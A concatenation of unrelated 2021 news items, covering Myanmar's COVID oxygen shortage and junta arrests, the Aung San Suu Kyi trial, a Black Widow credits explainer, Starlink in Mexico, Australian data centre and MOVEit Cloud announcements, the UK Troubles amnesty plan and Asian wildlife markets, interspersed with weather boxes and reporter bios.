Crematoriums are overflowing in Yangon. The Irrawaddy found that 731 bodies were cremated at three major cemeteries in Yangon on Tuesday. According to sources from the Yayway Cemetery, there were only about 40 funerals per day before the current coronavirus outbreak.

They dont even refill oxygen for emergency use by ambulances so we have stopped our ambulance service, said a charity worker from Botatung Township in Yangon.

We first took a patient to Gandhi Hospital [also known as Yangon Eastern Hospital] and then Yangon General Hospital and then to the Japan Hospital [also known as the New Yangon General Hospital] and then to a 500-bed hospital. Finally, we took him back home. He died the next day. There have been many cases like that, he added.

The regime claimed it imposed restrictions on private oxygen plants to supply COVID-19 care centers and hospitals but, in reality, formal clinics are treating relatively few patients.

Many people are being treated at home and their relatives are joining long queues at oxygen plants in Yangon, Mandalay and other cities.

Coup leader Senior General Min Aung Hlaing told a meeting on Monday that there was enough oxygen in the country.

He claimed anti-junta activists were buying up supplies and spreading rumors about shortages for political gain.

It is important not to seek political advantage out of this. This is a social and health issue, a matter of life and death and not political. It is important not to create trouble, said the coup leader.

However, many people believe the regime is deliberately cutting oxygen supplies to kill civilians indirectly.

A COVID-19 patient from Thanlyin Township in Yangon said: They are killing the people without using bullets. They are doing it deliberately.

Charity workers said the numbers dying from low oxygen levels were rising in Yangon and Mandalay.

Last night a patient died before we could find a hospital for him, said a charity worker from Yangon.

A Mandalay charity worker said: Oxygen suppliers have been told to supply the hospitals. It is said the factories that can refill 500 cylinders per day have to hand over 200 to the public hospitals. Those with the capacity to refill 400 cylinders have to hand over 100 to 150.

Myanmar was hit by a wave of coronavirus in late May and cases have been reported in 296 out of 330 townships. The military regime has imposed stay-at-home orders in 74 townships, including in Yangon, Mandalay, and Sagaing regions and Chin State.

Over 57,000 COVID cases and 820 deaths have been reported between Feb. 1 and July 13 by the junta-controlled Ministry of Health and Sports, but it is assumed the actual figures are far higher, considering the collapse in testing.



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Burma Myanmar Junta Jails Activists Wife and Daughter for 3 Years

Ma Theint Sandi Soe (left) and her mother Daw Kyi Kyi Khaing

The wife and daughter of an anti-regime protest leader in Mogoke, Mandalay Region, have been sentenced to three years imprisonment for incitement by a prison court.

Law student Ma Theint Sandi Soe, 19, her mother Daw Kyi Kyi Khaing, 40, and her five-year-old daughter, Su Htet Wyne, were detained on June 13 after the security forces failed to find her father, U Soe Htay.

Su Htet Wyne had her fifth birthday in custody and was released on June 30, when the regime freed around 2,000 detainees. The father and Su Htet Wyne are now reunited.

The family said the two women were accused of violating Article 505(a) of the Penal Code for allegedly inciting riots. Their verdicts were reportedly handed down by the Mogoke Prison court.

U Soe Htay was informed on Tuesday that his wife told others about the prison sentences while she was on a prison truck.

She shouted from inside the truck that they both were sentenced for three years, U Soe Htay told The Irrawaddy on Wednesday.

Since their arrest last month, the authorities have told the family nothing about them and we have no information. My daughter is in ill health. I thank the community leaders who have helped send her medicines.

He said Ma Theint Sandi Soe has rheumatoid arthritis, meaning she is sensitive to the cold and needs regular medical care and medicines.

U Soe Htay, a striking school teacher, is on the wanted list in Mogoke for incitement for organizing protests. He and his two sons were not at home when the junta forces raided as they had gone into hiding.

According to a lawyers network in Mandalay, many lawyers providing legal assistance in Mogoke also face warrants for incitement and are in hiding, meaning that finding legal representation for detained protesters is becoming more difficult. A lawyer in Mandalay said quick rulings were to be expected in Mogoke because of the lack of lawyers.

U Soe Htay said his wife and daughter had taken part in protests against the junta. As long as the military tries to rule with violence, our resistance will continue. We have many families whose loved ones cannot return home. Our leaders, including Daw Aung San Suu Kyi and President U Win Myint, are behind bars. Our family is divided but we are not alone, he said.

Ma Theint Sandi Soe and Daw Kyi Kyi Khaing are among around 100 people who have been detained after the security forces failed to find their target. Protesters, student union members, National League for Democracy members, journalists and striking civil servants all face arrest warrants, according to the advocacy group the Assistance Association for Political Prisoners.



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Myanmar Junta Says it Cant Cope With Rising COVID-19 Cases

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Burma No Security Present When Myanmar Military Raided Daw Aung San Suu Kyis House

Myanmars detained State Counselor Daw Aung San Suu Kyi / The Irrawaddy

When Myanmars military raided Daw Aung San Suu Kyis residence in Naypyitaw in the early morning of Feb. 1 ahead of its coup, there were no security guards present, according to the major who led the raid.

On Monday, Daw Aung San Suu Kyi appeared at a special court in Naypyitaws Zabuthiri Township. She is on trial for multiple charges including the illegal possession of walkie-talkies, breaching COVID-19 restrictions, corruption, incitement and one case under the Official Secrets Act.

Major Win Htut Oo, who led the raid on Daw Aung San Suu Kyis residence, testified on Monday at the trial that the military found walkie-talkies on the premises, but that they did not have a search warrant when they searched the detained State Counselors house and compound and that no security personnel were present.

When they entered Daw Aung San Suu Kyis house at 4am [on Feb. 1], there was no one at the gate or in the officers quarters. It is unusual that there was no one there and that only walkie-talkies were found. Staff had to be there. You know what this means. Thats why we say the case has been solved. And they didnt have a search warrant, said a lawyer acting for Daw Aung San Suu Kyi.

The major also testified that they did not find any evidence, such as receipts, to prove that Daw Aung San Suu Kyi or her staff had bought the walkie-talkies. She was only told a few hours later that walkie-talkies had been seized from the compound of her residence, her lawyers quoted the major as saying.

All the walkie-talkies were found in the security guards quarters and not in the house, witnesses testified at a previous court hearing. The security guards were assigned by the military-controlled Ministry of Home Affairs.

Daw Aung San Suu Kyi faces two charges under Section 8 of the Export and Import Law and Section 67 of the Telecommunications Law for illegal possession of walkie-talkies. Three prosecution witnesses testified in those cases on Monday, with one more prosecution witness still to appear.

On Tuesday, the military regime filed four new corruption charges against Daw Aung San Suu Kyi. She and detained President U Win Myint told their lawyers that they were concerned about the COVID-19 health crisis. The National League for Democracy leader also urged her lawyers to exercise patience during their cross-examinations at the trials.



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"Black Widow" was Marvel Studios' return to the big screen in two years and usher in Phase Four of the Marvel Cinematic Universe's movies.

Set directly after "Captain America: Civil War" and before "Avengers: Infinity War," according to The Holywood Reporter, this final tribute to the epic hero who sacrificed herself in "Avengers: Endgame" shapes up to be a perfect jumping-off point for what is to come in the new phase.

Natasha Romanoff (Scarlett Johansson) confronts her shadowy past and reunites with people from her old life.

The movie was released on July 9 in theaters and on Disney Plus Premier Access, and fans cannot get enough of Nat's sister Yelena Belova (Florence Pugh) and the rest of her mismatched spy family from her youth.

'Black Widow' End Credits Explained

Before we dive into the post-credits scene that takes place at a more recent point in the MCU timeline, be warned that there will be spoilers.

The #1 movie of the year is well worth the wait  Don't miss experiencing Marvel Studios' #BlackWidow. Get tickets or order it now! https://t.co/cWeQKLS0qL pic.twitter.com/RpL7zwTpli  Black Widow (@theblackwidow) July 13, 2021

Yelena takes her dog Fanny to visit Nat's grave. This would mean the end credits scene must take place after "Avengers: Endgame." The grave is presumably in Ohio where the sisters grew up, under a cherry blossom tree just like the one Natasha's biological mother was buried beside, Cnet said.

The headstone reads: "Daughter, Sister, Avenger."

Contessa Valentina Allegra de la Fontaine (Julia Louis-Dreyfus), who fans may know from the last two episodes of "The Falcon and the Winter Soldier," breaks the quiet moment with a blow of her nose saying she's allergic to the Midwest.

It appears that Yelena started working for Val some time after "Black Widow" or "Avengers: Endgame." Val has Yelena's next target: Clint Barton, aka Hawkeye. "Maybe you'd like a shot at the man responsible for your sister's death," Val tells Yelena and shows her Clint's photo. "Kind of a cutie, don't you think?"

Val's presence in the MCU is still a big mystery as we don't really know yet how she fits in the big picture.

The "Hawkeye" series already has one of its villains known to the public, so we don't quite know what Val's reasoning for targeting Clint just yet. The series is scheduled to debut in Disney Plus later in the year.

Read Also: 'Marvel's Avengers' Black Panther Update: 'War for Wakanda' Map Locations Revealed!

Easter Eggs and Hints at a "Black Widow 2"?

"Black Widow" will not be an MCU movie if it didn't have easter eggs referencing past and possibly future MCU projects, as well as some respectful nods to the comic books that inspired the film.

North Institue

At the beginning of the film, Nat and her "family" is on the run from SHIELD because Alexei (David Harbour) was working undercover at the North Institute.

This was a nod to the comics. In the comic books, the North Institute targeted Nat and other Red Room subjects. In the movie, however, it's a SHIELD facility Dreykox sent Nat and Yelena's father figure to steal their tech, Digital Spy explained.

'Thunderbolt' Ross, Taskmaster, and Nat's 'Family'

"Thunderbolt" Ross may be familiar to fans as the agent hot on Nat's heels after she defied the Sokovia Accords in "Captain America: Civil War" so Cap and Bucky can escape. This time around, it looks like Nat and Ross end on good terms. Perhaps she offered him Red Room information in exchange for her freedom?

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The way Loki knew about Budapest and was telling us who taskmaster was all along pic.twitter.com/vvSB97gytd  Isaiah Black Widow Era (@IsaiahPerezOak) July 10, 2021

The Taskmaster in the movie bears little resemblance to the comics, but the twist is fresh and Antonia, Dreykov's daughter, is a subtle nod to the comic book Taskmaster Anthony "Tony" masters.

Natasha's family are all nods to the comic book, but only by name. The MCU took the liberty to give them a different origin story. Yelena, in the comics, was from the Red Room that started off as Nat's enemy. Melina was a former agent of the Russian government known as the Iron Maiden and hated Nat, and Alexei in the comics was a celebrated pilot that the KGB trained to be the Red Guardian, Digital Spy said.

Prison Break

A few weeks after Nat and her family went out and saved the day, Nat is now sporting her short, blonde "Avengers: Infinity War" hair and tells Mason she's going to use the new getaway plane to "break a few of them out of prison."

"Them" being the Avengers left in the Raft after "Civil War." So it looks like Cap had a bit of help from Nat to get to the Raft.

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The last scene of Natasha in the MCU walking off into the distance. When the theme hit though. pic.twitter.com/rYmNnVby9y  cam (yelena is life) (@herostan980) July 13, 2021

Budapest

Long-time fans finally get to know what actually happened in Budapest. The long-running inside "joke" between Clint and Nat turns out to be the mission to kill Dreykov as the last step of her defection to SHIELD. She willingly sacrificed the life of Dreykov's daughter, which Loki taunted her about in "The Avengers."

Rewatching Infinity War and seeing Natasha in the vest. #BlackWidow pic.twitter.com/LJvVNPTLCB  Geeky Waffle Network (@Geeky_Waffle) July 13, 2021

Yelena's Vest

When Yelena meets Nat in Budapest, she shows off her new green vest, the first thing she has ever bought for herself.

Fans with sharp memory remember Nat wearing the same jacket in "Avengers: Infinity War." Yelena gifts Nat the jacket at the end of the movie which means she was wearing the vest in "Infinity War" to remind her of her sister.

"Thank You for Your Cooperation"

Fans would remember this exact line being thrown to Loki after Nat tricks him to confess his plan in "The Avengers."

Nat does a similar trick to Dreykov as she riled him up to get all the information she needs about the Widows program and how to access it. A sly nod by the MCU but one that just makes Natasha all the more an amazing super spy.

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thank you for your cooperation pic.twitter.com/qQIQvw1yRI  el 's hazel MISSES NAT (@wintersromanoff) July 11, 2021

Although the movie is MCU's final goodbye to Natasha Romanoff, this may not be the last fans will see of Yelena. She might be making an appearance in "Hawkeye" as the end credits suggest.

Director Cate Shortland is also expressing interest in a "Black Widow" sequel where Yelena will take up the mantle of Black Widow, The Hollywood Reporter said. Yelena could also be taking up a new identity altogether, given her newfound freedom.

Though this was the final tribute to Johansson's Black Widow, it looks like the MCU has more up their sleeves for her family.



Related Article: 'Black Widow' Reviews, Spoilers, and Where to Watch: Marvel Film Gets James Bond-Like Response, Major Weakness Revealed
Starlink internet satellite connections has reached another country in its quest for global expansion. The internet service provider got a 10-year license to operate in Mexico. Additionally, analysts predict huge monetary gains for the company if they survive this "early stage."

Elon Musk proposed another radical idea for the future. Using space satellites launched around Earth, his company offers high-speed to any customers across the planet. SpaceX, the company tasked with sending satellites to Earth's orbit, calls this internet service "Starlink."

Elon Musk's Satellite Internet

Starlink takes its name after the image of a constellation. With its aim to send thousands of interlinked satellites in space, Starlink's overall appearance might look similar to glowing constellations in the sky. Starlink also uses its interconnectedness with the broadcasting system to generate high-speed internet service and direct it to specific locations on Earth.

Starlink is still in its public beta program. Internet service reportedly runs at 50 Mb/s to 150 Mb/s and latency from 20ms to 40ms depending on environmental conditions. Consumers also experience brief periods with no internet connectivity, despite optimal hardware conditions.

To use Starlink's internet service, customers need to pay $499 upfront for the hardware and $99 per month for the internet. The cost upfront is used to pay the "easy to set up" Starlink Kit with its Starlink Wi-Fi router, power supply, cables and mounting pod. During installation, Starlink is required to be mounted on places like your roof, with a clear view of the skies. You could download the Starlink app for more details and suggestions for their service.

Satellite Internet Expanding to Mexico

Although Starlink advertised itself to reach anywhere globally, the company needs a legal license to run locally. Advanced Television reported that the Internet provider was finally granted its license on May 28 by the Instituto Federal de Telecomunicaciones (IFT) in Mexico. The Starlink system should be operational in that country before the end of this year.

Starlink secured its future in Mexico with its 10-year license to operate. By then, the service predicted connection speeds up to 1 Gb/s. This is because Starlink aimed to send another wave of satellites in space by the end of July through Vandenberg Space Force Base.

Read Also: Elon Musk Denies Conflict of Interest in Lawsuit vs. Tesla Shareholders: Complete Details of Testimony, SolarCity Issue

Is SpaceX Starlink a Good Investment?

Some investors have now taken an interest in Starlink's potential sales in the future. Markets insider reported that the company could have up to $20 billion cash flow annually in the coming years.

While its long-term plans seem to be well thought out, Starlink faces many different challenges up to date.

First, the company might need roughly $10 billion in funds to launch all its satellites in space. Also, with the internet provider still in its beta phase, Starlink is difficult to advertise among consumers.

If Starlink does not go bankrupt by the end of this year, the $20 billion cash flow prediction could hold true.

Related Article: Perseids Meteor Shower 2021: How to Watch Epic Cosmic Event Online Anywhere in the World
Ithaca, NY (14850)

Today

Scattered clouds with the possibility of an isolated thunderstorm developing during the afternoon. High 82F. Winds NW at 5 to 10 mph. Chance of rain 40%..

Tonight

Mostly clear. Low 63F. Winds light and variable.
Data centre operator Macquarie Data Centres has announced plans to build its biggest data centre to date. Intellicentre 3 Super West is to be built at the company's Macquarie Park data centre campus in Sydney.

Intellicentre 3 (IC3) Super West is designed to achieve Security Construction and Equipment Committee (SCEC) Zone 4 or higher security, ISO 27001 and SOC 2 (information security), PCI DSS 3.2, ISO 45001(occupational health and safety), ISO 14001 (environmental management), and a host of other security, safety and efficiency standards, according to Macquarie Data Centres.

With a 32MW IT load, IC3 Super West will take the total IT load of Macquarie's campus to 50MW.

Macquarie has commenced the State Significant Development process.

The company expects the project to create more than 1,200 jobs in construction, engineering, cybersecurity, and other fields, with expected completion of phase one in the second half of calendar year 2023, subject to approvals.

"This data centre will attract new investment into Australia from multinationals looking to expand in the Asia Pacific region," said Macquarie Telecom Group CEO David Tudehope.

"The NSW digital economy is rapidly growing, and this project will create world-class infrastructure and valuable long-term jobs in the digital and cyber security sector."

Macquarie Data Centres group executive David Hirst said "This global scale data centre will be one of the most certified facilities in the region.

"Data is growing exponentially, and we have demonstrated time and time again our ability to deliver infrastructure to meet that growth. Our data centres are sovereign, secure and certified to manage Australia's most important data and drive the digital economy."

In related news, IC3 Super West will be the home of the Sovereign Cyber Security Centre of Excellence, a 24/7 centre that will be monitored by trained engineers equipped with the latest tools, according to the company.
Data centre Polaris lowered its operational costs and cut its energy consumption by 29% by using Stulzs cooling technology.

The data centre sector has boomed over the past year as a result of digital acceleration.

As data continues to grow, it raises questions: how do facilities establish more sustainable, efficient, consistent, and cost-effective data centre operations?

One such data centre has been tackling this issuePolaris in Queenslandwith the assistance of the Stulz Oceania.

Stulz Oceania has proudly optimised 100,000m2 worth of data centre space over the last few years in Australia, building a reputation for driving down data centre operators power consumption and increasing efficiencies.

Polaris, owned and operated by the Springfield City Group, is a Tier 3+ data centre, located 35 km from Brisbane. The 14,000 square-metre facility split by five levels has been in operation since 2009, and is trusted to store information from diverse clients.

The Polaris data centre is connected to the Springfield-Eight Mile Plains-Brisbane-Ipswich-Springfield dark-fibre network, a geographically diverse, 720-core fibre ring network which supports the business, education, and health precincts as well as the local community.

The facility holds 60 Stulz units in a N+2 configuration, which have been in operation for the entirety of the data centres life, which spans 12 years. With the increased capacity requirements and a drive to deliver solution for clients, Polaris continuously refines its operating model.

Polaris chief commercial officer Peter Blunt has seen the benefits of working with Stulz to refine the control logics of the Stulz Crah units.

We know customers are always seeking improvements that deliver a more cost-effective, energy efficient data centre. Maximising the gain on existing infrastructure is logical way to achieve this, Blunt says.

By adopting the latest control logic within our existing system, we have delivered significant gains in efficiency, while also delivering a quieter, more comfortable working environment for our clientsnot to mention still achieving our strict SLAs, Blunt adds.

Stulz says the main goal for the data centre was to provide environmental monitoring then use the data to optimise the space.

By doing this, Stulz could help Polaris achieve its end goal, which was to lower its operating costs while exceeding power and cooling standards for its customers.

Stulz implemented its automated monitoring and optimisation system to manage and control the temperatures, Emos.

The process involved deploying and distributing non-intrusive, sophisticated wireless sensors to record in real time the data centres key environmental conditions.

The granular deployment of wireless sensors measures the CRAH (computer room air handler) return and supply air temperature and humidity, the rack intake and exhaust temperature and humidity, the raised floor differential pressure, as well as the conditions at the BMS SLA (Service Level Agreement) sensors.

Once the operational baseline had been identified, Stulz engineers then optimised the data centre using various airflow management techniques.

After conducting a careful and thoughtful assessment of the data centre, our technicians realised there were a number of opportunities to optimise the cooling infrastructure of the facility, notes Stulz Oceania managing director John Jakovcevic.

Jakovcevic explains the process: We improved the balancing of the CRAH units, then we optimised the air flow through the raised floor grilles. Then, we enhanced the CRAC units operating configuration for the specific characteristics of the individual Data Centre. Our aim throughout the optimisation process was to ensure that the changes implemented aligned the CRAH control strategy with the ASHRAE temperature and humidity ranges.

After the Stulz Emos system was implemented, the CRAHs were running lower fan speeds and less humidification, consuming around 29% less energy than immediately preceding the changes, with the same IT load, within client SLA parameters, Stulz claims.

There has also been an improvement in the general control of CRAH in the reliability of the temperatures distributed to the front of the rack and increasing the life cycle of CRAH consumable items.

Stulz reports that the front of the rack environment recorded an average of 23.3C and 53% RH across the data floorin line with the Ashrae TC9.9 2015 standards (cooling recommended range: 18C to 27C and humidity recommended range 40% to 60% RH).

Blunt claims: Stulzs monitoring system is one of the best in the industry and has enabled the visibility and control we need to enable us to deliver significant improvements in an already refined facility.

In fact, the Polaris team saw an immediate change in the CRAH energy consumption the very same day the alterations were made29%! he recalls.

Were incredibly pleased with the data centres cooling infrastructure management system. Not only has it provided Polaris with excellent temperature and humidity control, but it has also delivered impressive energy savings whilst maintaining our strict SLAs and standards for our customers, Blunt concludes.
NEXTDC announced that its B2 Brisbane data centre is the newest Cloud Interconnect location for Google Cloud, in what NEXTDC say is Queenslands first locally available cloud access location.

NEXTDC believe that the introduction of this new Cloud Interconnect location at B2 is a milestone for the Queensland market. Delivering extremely low-latency, secure access direct to Google Cloud, it will significantly improve the journey to Hybrid Cloud for enterprise and government located in Queensland.

Organisations now have the ability to connect locally, and natively to Google Cloud via two new Google Cloud Interconnect points directly at B2, which will reduce network costs, increase bandwidth throughput, and provide a superior network experience than Internet-based connections.

NEXTDC say, Queensland businesses connecting to Google Cloud from B2 will directly benefit from direct, and private very low latency connection to Google Cloud. Local access to Google Cloud removes the need for organisations to haul their Google Cloud workloads back to Sydney via inter-capital or internet-based connections.

Not only will it alleviate the connectivity cost burden, but it also enables organisations to achieve significant network performance improvements in terms of latency, enabling a faster round-trip time, and close to zero jitter (Jitter being the variable associated with latency and packet delivery).

NEXTDC CEO Craig Scroggie said, The introduction of these two Google Cloud Interconnect locations at B2 is an important step forward for Queensland. As Queenslands first locally available cloud access point, we will deliver important connectivity and geo-redundancy for cloud service durability to a previously underserved market.

Queensland organisations have the option to choose between Google Clouds dedicated Cloud Interconnect accessed via a Cross Connect, or Google Clouds Partner Interconnect solution which is accessed via NEXTDCs AXON interconnection platform.

Our customers are leaning further into their digital infrastructure and networks, and the critical role that NEXTDC plays is ensuring they are securely and directly interconnected to the clouds and IT services that drive the growth of their business. Direct connectivity to Google Cloud via this new Cloud location in Brisbane further expands the capability we offer our customers, for secure, low-latency, reliable and easy-to-manage interconnectivity that is increasingly needed as they advance their journey to cloud, added Scroggie.
Customers in the UK and Australia can deploy the MOVEit Transfer in Microsoft Azure either as-a-Service or in an Azure instance. The software is for customers who need data security compliance, lower latency, or for those who want to maintain data physically within their countries.

The Progress MOVEit Cloud, a cloud-based, managed file transfer (MFT) software, is now available via Microsoft Azure in Australia and the UK to assist businesses meet complex compliance and data protection regulation needs in those regions, Progress announces.

Regulations such as the Global Data Protection Regulation (GDPR) outline specific conditions about the storage and movement of customer data.

As of 1 January 2021, with the official implementation of Brexit, the UK became a third country and considered outside of the EU's GDPR data protection laws, disrupting the flow of personal information from the EU to the UK.

When combined with the increasing number of companies at risk of experiencing data breaches, and the ongoing complexity caused by the COVID-19 pandemic, compliance and data protection are top priorities for businesses worldwide.

With four new Azure regions, including the UK and two in Australia, customers can deploy MOVEit Transfer in Microsoft Azure either as-a-Service or in an Azure instance they can independently manage.

Customers needing to achieve data security compliance, lower latency during file transfer, or who wish to maintain data physically within Australia or the UK while operating in Azure are said to benefit from this improvement.

This past year, Australia has seen both its local and global regulatory compliance landscape tighten, especially when it comes to critical infrastructure and industries dealing with sensitive data such as healthcare, financial services and government, notes Progress vice president APJ John Yang.

The global pandemic also led to an increase in cybersecurity threats and data sovereignty laws. Its no surprise more businesses are shifting their MFT to the cloud in an effort to achieve data security compliance and lower latency during file transfer, stresses Yang. With MOVEit Cloud, organisations hoping to implement an MFT solution to meet Australia or UK-driven compliance needs now have access to a leading MFT solution in the Azure Cloud.

Used by organisations worldwide, Progress MOVEit is an automated file transfer system that allows users to manage, view, secure, and control all file transfer activity through a single system. Based on Microsoft Azure, MOVEit Cloud combines file transfer features needed by businesses today with the benefits of an easy-to-use and secure cloud service.

Progress adds that MOVEit Cloud is an auditor-certified PCI, SOC 2 type 2, and HIPAA compliant, and ensures CCPA and GDPR readiness in external file transfer activities involving personal data.

Pro2col is delighted that Progress has released MOVEit Cloud hosted out of the UK, enthuses Pro2col general manager Ailsa McEwan. This is a key requirement for many of our customers looking at hosted solutions, particularly some government customers who need to keep their data within the UK.
This Week in Review

A weekly review of the best and most popular stories published in the Imperial Valley Press. Also, featured upcoming events, new movies at local theaters, the week in photos and much more.
Jacksonville, TX (75766)

Today

Thunderstorms likely. High 86F. Winds light and variable. Chance of rain 70%..

Tonight

Partly to mostly cloudy skies with scattered thunderstorms mainly before midnight. Low 71F. Winds light and variable. Chance of rain 50%.
"Fires," the empowering single from BEC Recordings artist and songwriter Jordan St. Cyr , has made an astounding debut at radio. While appearing on the Billboard Christian Airplay charts for 45 weeks and climbing to No. 5, "Fires" has been played on major networks and stations for more than a year, reaching 7.7+ million people a week. 14 July 2021 - Nashville, Tenn / Seattle, WA -the empowering single from BEC Recordings artist and songwriter, has made an astounding debut at radio. While appearing on the Billboard Christian Airplay charts for 45 weeks and climbing to No. 5, "Fires" has been played on major networks and stations for more than a year, reaching 7.7+ million people a week.

Written by St. Cyr "Fires" is one of the featured songs on his recently released EP, Be My Defender. Fans will get the opportunity to hear the song live when he's out on tour this fall. Official details will be announced shortly.

St. Cyr co-wrote "Fires" with Micah Kuiper and Krissy Nordhoff two years ago after attending a Tin Pan South event in Nashville. He was inspired by a young man named Nathan who also attended the event while working as the evening's valet. Nathan was so touched by the message of the songs that were performed that he left a note, thanking the songwriters for the hope he had been given. The note ended up being shared by one of the songwriters on social media and it went viral. The young man was working three jobs and about to lose everything he owned, yet enough money was quickly raised to save his home and pay off debt.

"Looking back," St. Cyr shares, "I realize now that God gave me Nathans story so I could walk through mine...to help me along the way and allow my faith to rise up, to know God has not left me in this trial. Rather, He is walking it with me, guiding me through the pain and refining and purifying my heart that I may know Him more.

He adds, "The impact Fires made over the last year has been remarkable. Watching the songs message resonate with so many, along with its long life at radio, is really the testament of our deep need for Gods nearness in every season of life."

The "Fires" official music video, along with an acoustic version of the song from St. Cyr's White Room Sessions, can be viewed below.










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Farhad Manjoo became a New York Times Opinion columnist in 2018. The views expressed here are solely his own.
Mike has reported on the Greater Yellowstone Ecosystem's wildlife, wildlands and the agencies that manage them since 2012. A native Minnesotan, he arrived in the West to study environmental journalism at the University of Colorado.
Tom Hallberg covers a little bit of everything, from skiing to long-form feature stories. A Teton Valley, Idaho, transplant by way of Portland and Bend, Oregon, he spends his time outside work writing fiction, splitboarding and climbing.
Two Fire/EMS veterans retire after more than 35 years of service

Jim Tucker and Wendy Blair had rewarding careers but are ready for the next chapter.
Teton County Reporter

Previously the Scene editor, Billy Arnold made the switch to the county beat where he's interested in exploring Teton County as a model for the rest of the West. When he can, he still writes about art, music and whatever else suits his fancy.
Paul Bruun writes every other week about his adventures and misadventures in the great outdoors. Contact him via columnists@jhnewsandguide.com.
Anne Callison lives in Tetonia, Idaho, and Howie Garber is a resident of Driggs, Idaho. Guest Shots are solely the opinion of their authors.
Since moving to Jackson Hole in 1992, Richard has covered everything from local government and criminal justice to sports and features. He currently concentrates on arts and entertainment, heading up the Scene section.
Joe Hadsall is the digital editor for The Joplin Globe. He has been the editor of the former Nixa News-Enterprise and has worked for the Christian County Headliner News and 417 Magazine.

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This story has been updated to reflect the status of the advisory for Jasper County, which was posted on Monday and reposted on Wednesday combined with information from the city of Joplin.
(June 21, 1952-July 7, 2021) Paula Marlene Woods of Crestline, Kansas, passed away peacefully at 5:15 p.m. on Wednesday, July 7, 2021 at the Via Christi hospital in Pittsburg, Kansas, following a period of ill health. Paula was born June 21, 1952 in Oswego, Kansas, to Adrian and Margaret (Wa
Pictured above is a graph shared by Jefferson County Schools Superintendent Dr. Bondy Shay Gibson during Monday nights board of education meeting. Gibson made a presentation on equity in the district in light of recent controversy surrounding the Black Math Genius program. The graph shows math proficiency percentages broken down by subgroups of the student population.
Town Reporter

Adam joined the JI in November 2020. He graduated in 2019 from the University of Connecticut. He enjoys reading, playing soccer and basketball, as well as piano and drums. He is a fan of the Pittsburgh Steelers, Penguins, and Pirates.
Today

Showers early then scattered thunderstorms developing later in the day. High 81F. Winds light and variable. Chance of rain 60%.

Tonight

Scattered thunderstorms during the evening, then cloudy skies overnight. Low 64F. Winds light and variable. Chance of rain 40%.

Tomorrow

Cloudy skies. A stray shower or thunderstorm is possible. High 82F. Winds light and variable.
Today

Showers early then scattered thunderstorms developing later in the day. High around 80F. Winds light and variable. Chance of rain 70%.

Tonight

Scattered thunderstorms during the evening, then cloudy skies overnight. Low 64F. Winds light and variable. Chance of rain 40%.

Tomorrow

Cloudy skies. A stray shower or thunderstorm is possible. High 82F. Winds light and variable.
The UK government on Wednesday promised a statute of limitations to end prosecutions over past unrest in Northern Ireland, angering families of victims of The Troubles and the government in Dublin.

The legislation, to be introduced later this year, will effectively give amnesty to both British security personnel and paramilitaries over prosecutions relating to the decades long conflict, which ended in a 1998 peace deal.

Northern Ireland Secretary Brandon Lewis said it would apply to all Troubles-related incidents, and was needed as current prosecutions were far from helping, and are in fact impeding, reconciliation in the British-run province.

He accepted the move would be difficult for the families of victims.

But he told parliament the new measures would provide certainty to veterans and other members of the security forces fearful of being subject to investigations about their actions in Northern Ireland, even if they were lawful.

Prime Minister Boris Johnson defended the plans. The people of Northern Ireland must, if we possibly can allow them to, move forwards now, he said.

Former soldiers, veterans groups and their supporters have been sharply critical of prosecutions of so-called legacy cases, with defendants now well into old age, and evidence from the time sketchy or now deemed legally unreliable.

 Bad faith 

The widely trailed announcement sparked fury in Northern Ireland, which was riven for three decades by violence over British rule between Protestant pro-UK unionists and Catholic nationalists favouring union with Ireland.

John Teggart, whose father was one of 10 people killed during unrest in the Ballymurphy area of west Belfast in 1971, said Londons proposal was a cynical plan to bury its war crime.

A coroner in May concluded that British soldiers used clearly disproportionate force against entirely innocent protesters in the nationalist area.

Lethal force was not justified against nine of the victims, she added.

Teggart said families were being traumatised over the prospect of the amnesty and demanded that the loved ones of victims be listened to.

Dublin also pushed back against the UK statute of limitations, with Irish prime minister Micheal Martin calling it wrong for many, many reasons.

I dont believe in a general amnesty for those who committed murder, whether they were state actors, or whether they were involved in terrorist or illegal organisations, he told the Irish parliament.

Irelands Foreign Affairs Minister Simon Coveney said Londons proposals were not a a fait accompli and he was committed to an inclusive dialogue to try to agree consensus and thats under way.

Mary Lou McDonald, the leader of Sinn Fein which was for years seen as the political wing of paramilitaries the Irish Republican Army, called it an act of absolute bad faith by the British government.

 Lingering anger 

Prosecutions from The Troubles remain flashpoints for sectarian anger in Northern Ireland, which is still split along sectarian and religious lines.

Earlier this month the prosecution was dropped of two British ex-soldiers accused of killing Irish republicans at the height of the conflict.

One of the killings was on Bloody Sunday, when British troops shot dead 14 Catholic republican protesters on a civil rights march in January 1972.

Families of some of the 3,500 victims of The Troubles have repeatedly said prosecutions are needed for them to have closure.

In a letter earlier this month, the largest victims support group in Northern Ireland, the WAVE Trauma Centre, expressed grave concern over the plans.

The majority of victims and survivors are only too aware that the chances of securing a conviction for crimes that are decades old are beyond remote, they wrote.

But to deny them even that possibility by perverting the criminal justice system cannot be right in a country that prides itself on adherence to the rule of law.

Lewis said police in Northern Ireland were in the process of investigating 1,200 cases relating to The Troubles, which also left some 40,000 people injured.
Although the region is working hard to contain the largest and deadliest COVID-19 wave since the pandemic began, continued efforts to curb the sale of wild animals and their meat have failed to bring about change in the fresh food market in the Asia-Pacific region.

According to the World Health Organization (WHO), nearly three-quarters of new infectious diseases spread to humans originate from animals.

This SARS virusFor example, the virus that killed 800 people between 2002 and 2004 is believed to have started with bats and then spread to civet cats at the Wild Animal Market in Foshan, China.

In April, after the investigation team in China concluded that the seafood market in Wuhan was the most likely way for COVID-19 to spread to humans, the WHO took unprecedented action to urge countries to suspend the sale of wild caught wild animals in wet markets. Mammals, because of an emergency measure.

Animal welfare groups in Asia have been making the same request for years, saying Unsanitary and cruel conditions The place where wild animals and domestic animals are kept in the wet market is a perfect breeding ground for zoonotic diseases.

Several Asian countries have passed new laws to curb the sale of bush meat during the pandemic and restrict activities in the wet market.

However, due to the continued popularity of bushmeat among some people in Asia, the huge economic value of the industry, and weak law enforcement, almost all attempts to eliminate this trade have been blocked.

Li Shuo, Greenpeaces global policy adviser in China, said that stopping trade will be a challenging task.

A live animal or wet market in Beriman, Sulawesi Province, Indonesia.Despite efforts to crack down on trade after the coronavirus pandemic, NGO investigators say that many parts of Asia continue to sell and eat wild animals [Courtesy of Four Paws]

One on and one off

In July last year, Vietnam issued a presidential decree to suspend all wild animal imports and impose tougher penalties on violators, including up to 15 years in prison.

However, a survey conducted by the non-governmental organization PanNature last month found that there have been no positive changes in the trade of wildlife products at the local level in Vietnam. Wet markets in the Mekong Delta and other parts of the country are still selling turtles, birds, and endangered wildlife species.
